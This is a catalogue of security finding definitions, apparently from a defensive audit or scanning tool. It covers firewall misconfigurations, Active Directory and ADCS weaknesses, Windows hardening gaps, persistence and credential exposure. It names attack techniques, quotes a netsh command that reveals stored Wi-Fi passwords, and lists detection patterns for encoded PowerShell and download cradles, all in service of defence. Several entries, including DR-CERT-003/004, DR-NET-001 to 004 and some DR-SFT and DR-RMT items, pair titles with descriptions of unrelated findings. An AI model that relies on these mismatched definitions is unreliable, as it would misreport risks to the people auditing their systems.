Remote Desktop Protocol is permitted on non-standard ports (not 3389), suggesting an attempt to obscure RDP exposure. Se...
9.4 —
BA-047 CRITICAL Cato WAN Firewall: Any-Any Permit Rule
A WAN firewall rule permits all traffic with no source, destination, or service restrictions across SD-WAN sites.
9.9 —
BA-048 HIGH Cato Internet Firewall: Outbound Any-Any Permit
Internet-bound traffic is permitted without application or destination restriction, bypassing CASB and URL filtering con...
8.2 —
BA-049 MEDIUM Cato: No Identity-Based Policy — All Rules Use IP/Network Only
All firewall rules use IP addresses or network objects with no user or group identity conditions, missing the zero-trust...
4.8 —
BA-050 HIGH Cloudflare Gateway: No Default Block on Network Policy
No default-deny network policy exists in Cloudflare Gateway. Traffic not matching any explicit rule is passed through.
7.3 —
BA-051 MEDIUM Cloudflare Gateway: DNS Security Policy Not Configured
No DNS security policies are present. Malicious domain blocking, DoH restrictions, and DNS-based threat intelligence are...
5.4 —
BA-052 HIGH Cloudflare Gateway: Unrestricted SSH/RDP in Network Policy
A network policy permits SSH or RDP from any source without identity conditions in Cloudflare Gateway.
9.8 —
BA-053 CRITICAL Executive Env: Guest Network Not Isolated from Corporate
Guest/visitor wireless or network segment can communicate with corporate resources. Executive environments are high-valu...
9.6 —
BA-054 HIGH Executive Env: Personal IoT Devices Reachable from Corporate Network
Rules permit traffic to/from IP ranges or ports associated with consumer IoT devices (smart TVs, streaming, home assista...
7.5 —
BA-055 MEDIUM Executive Env: AV/Conferencing Ports Exposed Internally Without Restriction
Audio/visual and conferencing equipment ports (Crestron, AMX, Extron, Zoom Rooms hardware) are reachable from all intern...
5.5 —
BA-056 HIGH Executive Env: No Zero-Trust Access Control for VPN/Remote Access
Remote access to the executive environment relies on traditional VPN without identity-aware, device-posture-based contro...
8.4 —
BA-057 CRITICAL Executive Env: Logging Disabled on Rules Covering Executive Subnets
Permit rules covering identified executive subnets have logging disabled, creating a forensic blind spot in the highest-...
7.5 —
BA-058 HIGH Firewall Rule Permits Traffic to Known Malicious IP ({ip})
A firewall rule permits traffic with a source or destination address that is flagged as KNOWN MALICIOUS by multiple thre...
9.4 —
BA-059 MEDIUM Firewall Rule Permits Traffic to Suspected Malicious IP ({ip})
A firewall rule permits traffic with a source or destination address flagged as SUSPECTED malicious by threat-intelligen...
6.5 —
BA-060 INFO Firewall Rule Blocks Known Malicious IP ({ip})
A firewall rule correctly denies traffic with a source or destination address that is flagged as KNOWN MALICIOUS by thre...
— —
DR-AD-001 MEDIUM Active Directory: Kerberoastable Accounts
{...} user account(s) have Service Principal Names (SPNs) set, making them vulnerable to Kerberoasting attacks. An attac...
6.5 CWE-521
DR-AD-002 HIGH Active Directory: AS-REP Roastable Accounts
{...} account(s) have Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH flag). These accounts are vulnerable to...
7.5 CWE-287
DR-AD-003 HIGH Active Directory: Unconstrained Delegation
{...} non-domain-controller account(s) are configured for unconstrained Kerberos delegation. These systems can impersona...
8.1 CWE-269 CWE-284
DR-AD-004 HIGH Policy: Weak Domain Password Policy
The domain password policy does not meet security best practices. Minimum password length, complexity requirements, or p...
7.5 CWE-521
DR-AD-005 MEDIUM Active Directory: LDAP Signing Not Enforced
LDAP signing is set to '{...}' instead of 'Require signing'. This allows LDAP traffic to be transmitted unsigned, enabli...
6.5 CWE-294
DR-AD-006 MEDIUM Authentication: Kerberos DES Encryption Enabled
The domain supports weak Kerberos encryption types: {...}. DES and RC4 are cryptographically broken and should not be us...
6.5 CWE-327
DR-AD-008 MEDIUM Active Directory: RBCD Configured
{...} account(s) have Resource-Based Constrained Delegation configured (msDS-AllowedToActOnBehalfOfOtherIdentity). RBCD ...
6.5 CWE-269 CWE-284
DR-AD-009 MEDIUM Active Directory: Domain Functional Level Outdated
The Active Directory domain or forest functional level is below the current recommended level for the installed domain c...
5.3 CWE-1104 CWE-16
DR-AD-010 LOW Active Directory: AdminSDHolder Orphaned Accounts
{...} account(s) have AdminCount=1 set but are not current members of any privileged group. These are orphaned AdminSDHo...
3.8 CWE-269
DR-AD-011 HIGH Active Directory: LAPS Not Deployed
Local Administrator Password Solution (LAPS) is not deployed on this system or in the domain. Without LAPS, local admini...
7.5 CWE-522
DR-AD-012 MEDIUM Active Directory: krbtgt Key Not Rotated
The krbtgt account password has not been changed in an extended period (typically 180+ days). The krbtgt account is used...
6.8 CWE-324
DR-AD-013 LOW Account Management: Stale Domain Accounts
Domain user accounts were found that have not logged in for an extended period (90+ days) and are still enabled. Stale a...
4.3 CWE-672
DR-AD-014 MEDIUM Active Directory: SID History Abuse Risk
User or group accounts with non-empty SID History attributes were found. SID History is a legitimate migration feature t...
6.5 CWE-269
DR-ADCS-001 CRITICAL ADCS: ESC1 - Misconfigured Certificate Template
A certificate template allows enrollees to specify a Subject Alternative Name (SAN) in the certificate request, AND low-...
9.8 CWE-295
DR-ADCS-002 HIGH ADCS: ESC2 - Overly Permissive Template
A certificate template has an Extended Key Usage (EKU) of 'Any Purpose' (OID 2.5.29.37.0) or no EKU at all (which is equ...
8.1 CWE-295
DR-ADCS-003 HIGH ADCS: ESC3 - Enrollment Agent Template
A certificate template with the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows low-privileged users t...
8.1 CWE-295
DR-ADCS-004 HIGH ADCS: ESC4 - Vulnerable Template ACL
A certificate template's access control list (ACL) grants write permissions (WriteDACL, WriteOwner, WriteProperty, or Ge...
8.1 CWE-732
DR-ADCS-005 CRITICAL ADCS: ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
The Certificate Authority has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This CA-level configuration allows ANY ce...
9.8 CWE-295
DR-ADCS-006 HIGH ADCS: ESC8 - NTLM Relay to HTTP Enrollment
The AD Certificate Services web enrollment endpoint is accessible over HTTP (not HTTPS) and/or does not enforce Extended...
8.1 CWE-294
DR-BRW-001 HIGH Browser: Malicious Extension Detected ({browser})
One or more browser extensions match known malicious extensions in the threat intelligence database. These extensions ma...
8.8 CWE-506
DR-BRW-002 MEDIUM Browser: Proxy Configured ({browser})
A browser-level proxy configuration was detected, separate from system proxy settings. This proxy intercepts all browser...
5.4 CWE-300
DR-BRW-003 MEDIUM Browser: Suspicious Bookmark Detected ({browser})
One or more browser bookmarks link to domains or IPs associated with known malicious infrastructure in the threat intell...
6.1 CWE-1104
DR-CERT-001 MEDIUM Certificate: Expired Certificate
One or more certificates in the local machine or current user certificate store have expired.
5.3 CWE-324
DR-CERT-002 MEDIUM Certificate: Expiring Soon
One or more certificates will expire within the next 30 days.
3.7 CWE-324
DR-CERT-003 MEDIUM Certificate: Self-Signed in Trust Store
Certificates using deprecated signature algorithms (SHA1) or insufficient key lengths (RSA < 2048 bits) were detected.
5.3 CWE-295
DR-CERT-004 MEDIUM Certificate: Weak Signature Algorithm
A self-signed certificate that is not from a well-known Certificate Authority was found in the Trusted Root Certificatio...
5.9 CWE-328
DR-CERT-005 MEDIUM Certificate: Weak Key Size
A certificate using a key size shorter than 2048 bits was detected. Keys shorter than 2048 bits are considered weak and ...
5.3 CWE-326
DR-CMP-001 MEDIUM Firewall: Profile Disabled
One or more Windows Firewall profiles (Domain, Private, or Public) are disabled, leaving network traffic unfiltered for ...
7.5 CWE-16
DR-CMP-002 MEDIUM Policy: Screen Lock Timeout Not Configured
The screen lock timeout (ScreenSaverGracePeriod or equivalent) is not configured or is set to a value greater than 15 mi...
5.0 CWE-16
DR-CMP-003 HIGH Network Hardening: NetBIOS over TCP/IP Enabled
NetBIOS over TCP/IP (NBT) is enabled on one or more network interfaces, exposing the legacy name resolution and session ...
7.5 CWE-16
DR-CMP-004 MEDIUM Network Hardening: IPv6 Transition Technologies
IPv6 transition technologies (Teredo, ISATAP, 6to4) are enabled, creating encapsulated IPv6-over-IPv4 tunnels that may b...
5.0 CWE-16
DR-CMP-005 MEDIUM Service Hardening: Remote Registry Enabled
The Remote Registry service (RemoteRegistry) is enabled and/or running, allowing remote systems to read and modify the l...
— CWE-16
DR-CRED-001 MEDIUM Credential Exposure: WiFi Passwords in Cleartext
Wireless network profiles on this system store passwords in cleartext. The 'netsh wlan show profiles key=clear' command ...
6.5 CWE-312
DR-CRED-002 MEDIUM Credential Exposure: Saved Remote Sessions
Saved remote access session configurations were found on this system, potentially containing stored credentials. This in...
5.5 CWE-522
DR-CRED-003 HIGH Credential Exposure: Credential Files on Disk
Files containing plaintext or easily reversible credentials were found on disk. This includes unattend.xml/autounattend....
7.5 CWE-312 CWE-538
DR-CRED-004 CRITICAL Credential Exposure: GPP cpassword Exposure
Group Policy Preferences (GPP) XML files containing the 'cpassword' attribute were found in SYSVOL. Microsoft published ...
8.8 CWE-261
DR-CRED-005 HIGH Credential Exposure: Cloud Credential Files
Cloud provider credential files were found on this system. This includes AWS credentials (~/.aws/credentials), Azure pro...
7.5 CWE-312 CWE-798
DR-CRED-006 INFO Credential Exposure: Credential Manager Entries
Windows Credential Manager (Vault) contains stored credential entries. These may include web credentials, Windows creden...
— CWE-522
DR-CRED-007 MEDIUM Credential Exposure: DPAPI Master Key Accessible
DPAPI (Data Protection API) master key material was found to be accessible on this system. DPAPI protects user credentia...
5.5 CWE-522
DR-CRED-008 INFO Credential Exposure: KeePass Database Found
KeePass password database files (.kdbx) were found on this system. While KeePass databases are encrypted, their presence...
— CWE-312
DR-CRED-009 MEDIUM Credential Exposure: SSH Private Keys Found
SSH private key files were found on this system. These keys may provide passwordless authentication to remote systems (L...
5.5 CWE-312 CWE-321
DR-EVT-001 HIGH Event Log: Brute Force Attack Detected
Brute-force login activity detected with multiple failed authentication attempts from the same source within the past 7 ...
7.5 CWE-307
DR-EVT-002 MEDIUM Event Log: Account Lockouts Detected
Account lockout events (Event ID 4740) were detected in the security event log, indicating accounts are being locked due...
7.5 CWE-307
DR-EVT-003 CRITICAL Event Log: Security Log Cleared
Event log clearing events detected (Event ID 1102/104). Clearing security logs destroys forensic evidence and is a stron...
6.5 CWE-778
DR-EVT-004 HIGH Event Log: Suspicious PowerShell Activity
PowerShell events contain suspicious patterns including encoded commands (-EncodedCommand), download cradles (Invoke-Web...
8.8 CWE-94
DR-EVT-005 MEDIUM Event Log: New Service Installations
New service installation events (Event ID 7045/4697) recorded in event logs. Service installations are a common persiste...
7.2 CWE-269
DR-EVT-006 MEDIUM Event Log: User Account Created
User account creation events (Event ID 4720) detected in security event logs. Account creation outside of normal provisi...
5.5 CWE-16
DR-HDN-001 HIGH System Hardening: UAC Disabled
User Account Control (UAC) is completely disabled on this endpoint. The registry value EnableLUA under HKLM\SOFTWARE\Mic...
7.8 CWE-250
DR-HDN-002 MEDIUM System Hardening: UAC Prompt Behavior Weak
The UAC elevation prompt for administrators is configured to auto-elevate without prompting (ConsentPromptBehaviorAdmin ...
5.3 CWE-250
DR-HDN-003 MEDIUM Network Hardening: SMBv1 Protocol Enabled
The deprecated SMBv1 protocol is enabled on this endpoint, either as a server or client component.
8.1 CWE-757
DR-HDN-004 MEDIUM System Hardening: SMB Signing Not Required
SMB message signing is not required on this endpoint, allowing unsigned SMB communications.
5.9 CWE-345
DR-HDN-005 HIGH Authentication: NTLMv1 Authentication Allowed
The LAN Manager authentication level allows NTLMv1 responses, a weak authentication protocol that is trivially crackable...
7.5 CWE-328
DR-HDN-006 HIGH Authentication: LM Password Hashes Stored
The system is configured to store LAN Manager (LM) hash values for passwords, a severely weak hash format.
7.5 CWE-916
DR-HDN-007 MEDIUM System Hardening: AutoRun Enabled
AutoRun/AutoPlay is enabled, allowing automatic execution of programs from removable media and network drives.
6.8 CWE-16
DR-HDN-008 CRITICAL Credential Exposure: WDigest Plaintext Credentials
WDigest authentication is configured to store plaintext credentials in memory (UseLogonCredential set to 1 at HKLM\SYSTE...
9.8 CWE-522
DR-HDN-009 HIGH System Hardening: LSA Protection Not Enabled
Local Security Authority (LSA) protection is not enabled. The RunAsPPL registry value is not set to 1 at HKLM\SYSTEM\Cur...
7.8 CWE-693
DR-HDN-010 MEDIUM System Hardening: Credential Guard Not Enabled
Windows Defender Credential Guard (Virtualization Based Security for credential isolation) is not enabled on this endpoi...
5.5 CWE-693
DR-HDN-011 HIGH Network Hardening: LLMNR Enabled
Link-Local Multicast Name Resolution (LLMNR) is enabled, allowing unauthenticated name resolution on the local network.
5.3 CWE-345
DR-HDN-012 MEDIUM Network Hardening: WPAD Enabled
Web Proxy Auto-Discovery (WPAD) protocol is enabled, allowing automatic proxy configuration via DNS or DHCP.
5.3 CWE-345
DR-HDN-013 MEDIUM Monitoring: PowerShell Script Block Logging Disabled
PowerShell script block logging is not enabled, preventing the recording of PowerShell script content in Windows Event L...
3.7 CWE-778
DR-HDN-014 LOW Monitoring: PowerShell Module Logging Disabled
PowerShell module logging is not enabled, which would record pipeline execution details for specified modules.
3.7 CWE-778
DR-HDN-015 LOW Monitoring: PowerShell Transcription Disabled
PowerShell transcription (recording of all PowerShell input and output to text files) is not enabled.
3.7 CWE-778
DR-HDN-016 MEDIUM System Hardening: PowerShell v2 Engine Available
The PowerShell v2 engine is still installed as a Windows feature, providing a downgrade path that bypasses modern loggin...
5.3 CWE-693
DR-HDN-017 HIGH Endpoint Protection: Windows Defender Disabled
Windows Defender Antivirus is completely disabled or not running on this endpoint with no alternative antimalware soluti...
7.8 CWE-693
DR-HDN-018 MEDIUM Endpoint Protection: Defender Exclusions Present
Windows Defender has file, folder, process, or extension exclusions configured that exempt certain paths or processes fr...
5.0 CWE-693
DR-HDN-019 HIGH Endpoint Protection: Defender Real-Time Protection Off
Windows Defender is installed but real-time protection is turned off, leaving the system without active file scanning.
7.8 CWE-693
DR-HDN-020 HIGH Remote Desktop: RDP Without NLA
Remote Desktop Protocol is enabled without requiring Network Level Authentication (NLA), allowing unauthenticated users ...
7.5 CWE-287
DR-HDN-021 MEDIUM System Hardening: DEP Not System-Wide
Data Execution Prevention (DEP) is not configured to protect all programs, only essential Windows programs and services.
5.3 CWE-693
DR-HDN-022 HIGH Access Control: Anonymous Named Pipe Access
Anonymous (null session) access to named pipes is permitted, allowing unauthenticated users to connect to specific named...
5.3 CWE-284
DR-HDN-023 HIGH Access Control: Null Session Access
The system allows null session (anonymous) connections for SAM enumeration and share enumeration.
5.3 CWE-284
DR-HDN-024 MEDIUM Policy: Audit Policy Insufficient
The Windows audit policy does not log critical security events. Key audit categories such as logon events, privilege use...
3.7 CWE-778
DR-HDN-025 MEDIUM Service Hardening: Print Spooler Running
The Print Spooler service is running on a server where printing functionality is likely not required.
8.8 CWE-269
DR-HDN-026 MEDIUM Endpoint Protection: Application Whitelisting Not Configured
Neither AppLocker nor Windows Defender Application Control (WDAC) is configured on this system. Without application whit...
6.5 CWE-862
DR-HDN-027 MEDIUM System Hardening: HVCI Not Enabled
Hypervisor-Protected Code Integrity (HVCI / Memory Integrity) is not enabled on this system. HVCI uses virtualization-ba...
6.5 CWE-693
DR-HDN-028 MEDIUM System Hardening: CredSSP Delegation Enabled
Credential Security Support Provider (CredSSP) delegation is enabled, allowing this system to forward user credentials t...
6.5 CWE-522
DR-HDN-029 MEDIUM Endpoint Protection: AMSI Not Registered
No Antimalware Scan Interface (AMSI) provider is registered on this system. AMSI is a Windows interface that allows appl...
6.5 CWE-693
DR-HDN-030 LOW System Hardening: .NET Framework v2/v3.5 Installed
.NET Framework version 2.0 or 3.5 is installed on this system. These legacy .NET versions include the CLR v2 runtime whi...
3.3 CWE-477
DR-HDN-031 MEDIUM System Hardening: PS Constrained Language Not Enforced
PowerShell is running in Full Language Mode rather than Constrained Language Mode (CLM). Full Language Mode allows unres...
6.5 CWE-862
DR-HDN-032 MEDIUM System Hardening: ASR Rules Not Configured
Windows Defender Attack Surface Reduction (ASR) rules are not configured or are set to audit-only mode. ASR rules block ...
6.5 CWE-693
DR-HDN-033 LOW Endpoint Protection: Controlled Folder Access Not Enabled
Windows Defender Controlled Folder Access is not enabled. This feature protects designated folders (Documents, Desktop, ...
4.0 CWE-693
DR-HDN-034 LOW Endpoint Protection: Network Protection Not Enabled
Windows Defender Network Protection is not enabled. Network Protection extends SmartScreen capabilities to block outboun...
4.0 CWE-693
DR-HDN-035 MEDIUM Endpoint Protection: Exploit Protection Not Configured
Windows Exploit Protection (successor to EMET) process mitigations are not configured. Exploit Protection applies per-pr...
6.5 CWE-693
DR-HDN-036 MEDIUM Network Hardening: SMB Client Signing Not Required
Outbound SMB connections from this host do not require packet signing. An attacker on the local network can intercept an...
5.9 CWE-924
DR-HDN-037 MEDIUM Access Control: Anonymous SAM Account Enumeration Allowed
Unauthenticated users can enumerate local user accounts through the SAM database. RestrictAnonymousSAM is not enabled.
5.3 CWE-200
DR-HDN-038 MEDIUM System Hardening: Built-in Administrator Exempt from UAC
The built-in Administrator account (RID 500) runs all processes with full elevated privileges without UAC prompts. Filte...
5.3 CWE-269
DR-HDN-039 HIGH Authentication: Blank Passwords Permitted for Network Logon
Accounts with empty passwords can authenticate over the network (SMB, RDP, WinRM). LimitBlankPasswordUse is disabled.
8.1 CWE-521
DR-HDN-040 HIGH Access Control: Anonymous Users Included in Everyone Group
The Everyone security group includes anonymous (unauthenticated) connections. Any resource with Everyone permissions is ...
7.5 CWE-284 CWE-287
DR-HDN-041 HIGH Remote Desktop: Weak RDP Transport Encryption
Remote Desktop is configured with weak or legacy transport encryption. Sessions can be intercepted or downgraded by an o...
7.4 CWE-326 CWE-327
DR-HDN-042 MEDIUM Monitoring: Critical Audit Subcategories Disabled
Security-critical audit subcategories are not configured. Events in these categories are not being logged, preventing de...
5.3 CWE-778
DR-HDN-043 HIGH Privilege Escalation: Sensitive User Rights Assigned to Non-Default Accounts
Sensitive user rights (SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, etc.) are assigned to accounts beyond...
7.8 CWE-269 CWE-250
DR-HDN-044 MEDIUM Monitoring: Advanced Audit Policy Overridden by Legacy Settings
Advanced Audit Policy subcategory settings are being silently overridden by legacy basic audit policy. Granular audit co...
3.7 CWE-778
DR-NET-001 HIGH Network: Suspicious Outbound Connection
The Windows Firewall is disabled for the Domain network profile.
7.5 CWE-506
DR-NET-002 MEDIUM Network: High-Risk Port Exposed
The Windows Firewall is disabled for the Private network profile.
7.5 CWE-284
DR-NET-003 MEDIUM Network: Proxy Configured
The Windows Firewall is disabled for the Public network profile, the most exposed profile.
9.8 CWE-300
DR-NET-004 MEDIUM Network: External DNS on Domain Host
A high-risk network port is listening on this endpoint (e.g., 445/SMB, 135-139/RPC, 3389/RDP, 23/Telnet, 21/FTP, 1433/MS...
5.3 CWE-284
DR-PERS-001 HIGH Persistence: WMI Event Subscription
Active WMI event subscriptions (EventFilter + EventConsumer + FilterToConsumerBinding) were found on this system. WMI su...
7.5 CWE-506
DR-PERS-002 MEDIUM Persistence: COM Object Hijacking
COM object registrations in the HKCU registry hive override HKLM registrations for CLSIDs that are loaded by privileged ...
6.5 CWE-426
DR-PERS-003 HIGH Persistence: AppInit_DLLs Configured
The AppInit_DLLs registry value is configured with one or more DLL paths. Windows loads any DLL listed in AppInit_DLLs i...
7.8 CWE-427
DR-PERS-004 HIGH Persistence: IFEO Debugger Set
Image File Execution Options (IFEO) registry entries have a 'Debugger' value set for one or more executables. This cause...
7.8 CWE-506
DR-PERS-005 CRITICAL Persistence: Accessibility Feature Modified
One or more Windows accessibility feature binaries (sethc.exe, utilman.exe, osk.exe, narrator.exe, magnify.exe, DisplayS...
9.8 CWE-506
DR-PERS-006 MEDIUM Persistence: Print Monitor DLL
Custom print monitor DLLs were found registered in the system. Print monitors are loaded by the Print Spooler service (s...
6.5 CWE-427
DR-PERS-008 HIGH Persistence: LSA Authentication Package Modified
Non-default authentication packages or security support providers (SSPs) are registered in the LSA registry configuratio...
7.8 CWE-506
DR-PRIV-001 HIGH Privilege Escalation: AlwaysInstallElevated Enabled
The AlwaysInstallElevated policy is enabled in both HKLM and HKCU registry hives. This Windows Installer policy allows a...
7.8 CWE-269
DR-PRIV-002 HIGH Privilege Escalation: Modifiable Service Binary
One or more Windows service executables reside in directories that are writable by non-administrative users, or the serv...
7.8 CWE-732
DR-PRIV-003 MEDIUM Privilege Escalation: DLL Search Order Hijacking
One or more directories in the system PATH are writable by non-administrative users. Windows DLL search order loads DLLs...
6.7 CWE-427
DR-PRIV-004 HIGH Privilege Escalation: Dangerous Token Privileges
The current process or service accounts hold dangerous Windows token privileges. SeImpersonatePrivilege and SeAssignPrim...
7.8 CWE-269
DR-PRIV-005 MEDIUM Privilege Escalation: Unquoted Service Path
One or more Windows services have unquoted executable paths containing spaces, AND at least one intermediate directory i...
6.7 CWE-428
DR-PRIV-006 MEDIUM Access Control: Named Pipe Permission Weakness
Named pipes on this system have overly permissive access controls, allowing non-administrative users to read, write, or ...
5.5 CWE-732
DR-PROC-001 CRITICAL Process: Known Malicious Process Detected
One or more running processes match known malicious software signatures in the threat intelligence database. This is a s...
9.8 CWE-506
DR-PROC-002 HIGH Process: Running from Temporary Directory
One or more processes are executing from temporary directories (%TEMP%, %TMP%, C:\Windows\Temp). Legitimate software rar...
5.3 CWE-427
DR-PROC-003 MEDIUM Process: No Executable Path
One or more running processes have no associated executable path on disk. This may indicate fileless malware executing e...
5.5 CWE-506
DR-PROC-004 CRITICAL Process: SYSTEM Process in User-Writable Path
One or more processes are running as SYSTEM from user-writable locations (Users, AppData, Downloads, ProgramData, Temp)....
6.7 CWE-269 CWE-427
DR-RMT-001 HIGH Remote Access: Unauthorized RMT Detected
A remote management tool (TeamViewer, AnyDesk, LogMeIn, ConnectWise, Splashtop, etc.) was detected that is not part of t...
7.5 CWE-284
DR-RMT-002 MEDIUM Remote Desktop: RDP Enabled
Remote Desktop Protocol (RDP) is enabled on this system. RDP exposes the system to brute-force attacks, credential stuff...
7.5 CWE-284
DR-RMT-003 MEDIUM Service Hardening: WinRM Running
Windows Remote Management (WinRM) is running on this system. WinRM allows remote command execution via PowerShell remoti...
7.5 CWE-287
DR-RMT-004 MEDIUM Service Hardening: SSH Server Enabled
An SSH server (OpenSSH) is running on this Windows system. SSH on Windows endpoints is uncommon and may indicate unautho...
7.5 CWE-319
DR-RMT-005 MEDIUM Service Hardening: Multiple RMT Tools
The OpenSSH Server service is running on this Windows endpoint, providing SSH remote access.
5.3 CWE-16
DR-SFT-001 MEDIUM EOL Software: End-of-Life Software Installed
Software that has reached end-of-life and no longer receives security updates is installed on this endpoint.
7.5 CWE-1104
DR-SFT-002 MEDIUM Software: Remote Access Software
An installed software version is known to contain security vulnerabilities with available updates.
7.5 CWE-1104
DR-SFT-003 HIGH Software: Suspicious Startup Item
Development tools (compilers, debuggers, IDEs, scripting language interpreters beyond what the system requires) are inst...
3.3 CWE-16
DR-SFT-004 MEDIUM Software: P2P/Torrent Software
Software not included in the organization's approved software list was detected. This finding requires per-engagement po...
5.3 CWE-16
DR-SFT-005 HIGH Software: Known Vulnerable Software Installed
Installed software matches known vulnerable versions with published CVEs or documented security defects. These versions ...
8.1 CWE-1104 CWE-937
DR-SFT-006 HIGH Service Hardening: High-Risk Services Running
High-risk services are actively running, including services that transmit credentials in cleartext (Telnet), allow remot...
7.5 CWE-319 CWE-284
DR-SFT-007 LOW Service Hardening: Unnecessary Services Running
Unnecessary or legacy services are actively running. While individually low-risk, each running service expands the syste...
3.3 CWE-284
DR-SFT-008 MEDIUM Service Hardening: Services Running Under User Accounts
Services are running under domain or local user accounts rather than standard service accounts (LocalSystem, LocalServic...
6.5 CWE-269 CWE-522
DR-SFT-009 HIGH Software: Network Tunnel or Bypass Tool Installed
Network tunneling or overlay network software is installed. These tools create encrypted channels that can bypass firewa...
7.5 CWE-284
DR-SFT-010 MEDIUM Software: Development or Diagnostic Tools on Production Server
Development, diagnostic, or offensive security tools are installed on a production server. These tools lower the post-ex...
5.3 CWE-489
DR-SFT-011 INFO Software: Software Installed Without Version Information
Software packages are installed with no version information in the Windows registry. This prevents vulnerability assessm...
— CWE-1059
DR-SRV-001 HIGH Authentication: SQL Server Mixed Authentication
SQL Server is configured with mixed authentication mode, allowing both Windows and SQL Server authentication. SQL authen...
5.3 CWE-16
DR-SRV-002 MEDIUM Service Hardening: IIS Default Site
IIS is running with the default web site active. The default site exposes server information, may serve default pages, a...
7.5 CWE-1188
DR-SRV-003 MEDIUM Service Hardening: Unnecessary Server Roles
Server roles (DHCP, DNS, AD DS, Hyper-V, IIS, etc.) are installed on this workstation. Server roles on workstations expa...
9.8 CWE-250
DR-SRV-004 MEDIUM Service Hardening: Web Server on Workstation
A web server (IIS, Apache, Nginx, XAMPP, WAMP, etc.) is running on this workstation. Web servers on endpoints are often ...
8.1 CWE-1104
DR-SYS-001 HIGH EOL Software: End-of-Life Windows Version
The Windows operating system version running on this endpoint has reached end-of-life and no longer receives security up...
9.8 CWE-1104
DR-SYS-002 MEDIUM Patch Management: Missing Critical Updates
The endpoint has critical or important security updates pending installation, leaving known vulnerabilities unpatched.
7.8 CWE-1104
DR-SYS-003 MEDIUM Patch Management: Windows Update Disabled
The Windows Update service (wuauserv) is disabled or stopped, preventing automatic security update installation.
5.3 CWE-16
DR-SYS-004 INFO Patch Management: WSUS Not Configured
No Windows Server Update Services (WSUS) or equivalent centralized update management solution is configured for this end...
— CWE-16
DR-SYS-005 LOW Patch Management: System Uptime Exceeds 90 Days
The system has been running for over 90 days without a reboot, which may indicate that kernel-level patches requiring a ...
3.3 CWE-16
DR-SYS-006 MEDIUM Patch Management: No Backup Configured
No Windows backup solution (Windows Server Backup, System Restore, or third-party backup) is configured on this endpoint...
5.5 CWE-693
DR-SYS-007 MEDIUM Patch Management: Last Backup Over 30 Days
The most recent backup on this system is older than 30 days, indicating that backup jobs may have failed or been disable...
4.7 CWE-693
DR-SYS-008 MEDIUM System Hardening: BitLocker Not Enabled
BitLocker Drive Encryption is not enabled on one or more fixed drives, leaving data at rest unprotected.
4.6 CWE-311
DR-SYS-009 INFO System Hardening: TPM Not Available
No Trusted Platform Module (TPM) is available or the TPM is not in a ready state on this endpoint.
— CWE-693
DR-SYS-010 MEDIUM System Hardening: Secure Boot Not Enabled
UEFI Secure Boot is not enabled on this endpoint, allowing unsigned or tampered boot components to execute during system...
6.7 CWE-693
DR-SYS-011 MEDIUM Monitoring: Sysmon Not Installed
Sysmon (System Monitor) is not installed on this system. Sysmon provides detailed telemetry about process creation, netw...
5.3 CWE-778
DR-SYS-012 CRITICAL Service Hardening: PrintNightmare Vulnerable
The system is vulnerable to PrintNightmare (CVE-2021-34527 / CVE-2021-1675). The Print Spooler service is running AND th...
8.8 CWE-269
DR-SYS-013 MEDIUM Network Hardening: DNS Zone Transfer Allowed
The DNS server role is installed and zone transfers (AXFR) are allowed to any requestor, or are not restricted to specif...
5.3 CWE-200
DR-USR-001 MEDIUM Account Management: Built-in Administrator Enabled
The built-in Administrator account (RID 500) is enabled on this endpoint.
5.3 CWE-250
DR-USR-002 HIGH Account Management: Guest Account Enabled
The built-in Guest account is enabled on this endpoint, allowing unauthenticated or minimally-authenticated access.
6.5 CWE-284
DR-USR-003 MEDIUM Account Management: Password Never Expires
One or more interactive user accounts have the 'Password never expires' flag set.
5.3 CWE-250
DR-USR-004 MEDIUM Account Management: Excessive Local Administrators
The local Administrators group contains more than 3 members, indicating excessive administrative access.
4.3 CWE-262
DR-USR-005 HIGH Policy: Weak Password Policy
The local password policy does not meet security baselines: minimum length is less than 8 characters and/or password com...
7.5 CWE-521
DR-USR-006 MEDIUM Authentication: Account Lockout Not Configured
The account lockout threshold is set to 0 (disabled), allowing unlimited failed login attempts without locking the accou...
7.5 CWE-307
DRIFT-001 INFO Wireless Reconnection Successful
The wireless interface successfully disconnected from and reconnected to the target SSID within the expected time window...
— —
DRIFT-002 INFO Wireless Reconnection Failed or Timed Out
The reconnect command was issued but the interface did not confirm association with the target SSID within the 20-second...
— —
DRIFT-003 INFO SSID Mismatch After Reconnect
After issuing the reconnect command for the target SSID, the interface associated with a different SSID. This may indica...
— —
DRIFT-004 INFO Wireless Interface Not Found
The specified or auto-detected wireless interface could not be found on the system. The tool is unable to perform any di...
— —
DRIFT-005 INFO Target Network Not Available
The interface is not currently associated with the expected SSID at the start of a cycle. The target network may be temp...
— —
DRIFT-006 INFO Cycle Completed Successfully
A full disconnect/reconnect cycle completed without error. Both the disconnect and reconnect commands succeeded, and the...
— —
DRIFT-007 INFO Maximum Cycle Count Reached
The configured maximum number of disconnect/reconnect cycles has been reached. The tool has exited normally.
— —
DRIFT-008 INFO Disconnect Command Returned Non-Zero Exit Code
The OS wireless disconnect command (iw, wpa_cli, nmcli, or airport) returned a non-zero exit code. The interface may not...
— —
DRIFT-009 INFO Reconnect Command Returned Non-Zero Exit Code
The OS wireless reconnect command returned a non-zero exit code. The network may not have been joined. This may indicate...
— —
DRIFT-010 INFO Dry-Run Cycle Completed (Simulated)
A cycle completed in dry-run mode. No actual wireless commands were issued. This confirms the timing logic and argument ...
— —
DRIFT-011 INFO Privilege Escalation Required for Wireless Commands
Wireless management commands (iw, nmcli, airport) require elevated privileges. The tool invokes these via sudo. If passw...
— —
DRIFT-012 INFO Interface Auto-Detection Fallback Used
The wireless interface was not explicitly specified. The tool fell back to parsing /proc/net/wireless or airport output ...
— —
FR-001 INFO Internal Redirect: Trailing Slash Mismatch
The server issued an internal redirect due to a trailing slash mismatch on the target URL. This may expose URL normaliza...
— —
FR-002 INFO HTTP Redirect to In-Scope URL
The target URL issues an HTTP redirect to another in-scope URL. Redirect chains may expose internal routing logic.
— —
FR-003 INFO HTTP Redirect to External URL
The target URL issues an HTTP redirect to an external domain. This could be leveraged in open redirect or phishing scena...
— —
FR-004 LOW WordPress readme.html Accessible
The WordPress readme.html file is publicly accessible. This file may disclose the WordPress version and other installati...
— —
FR-005 INFO WordPress license.txt Accessible
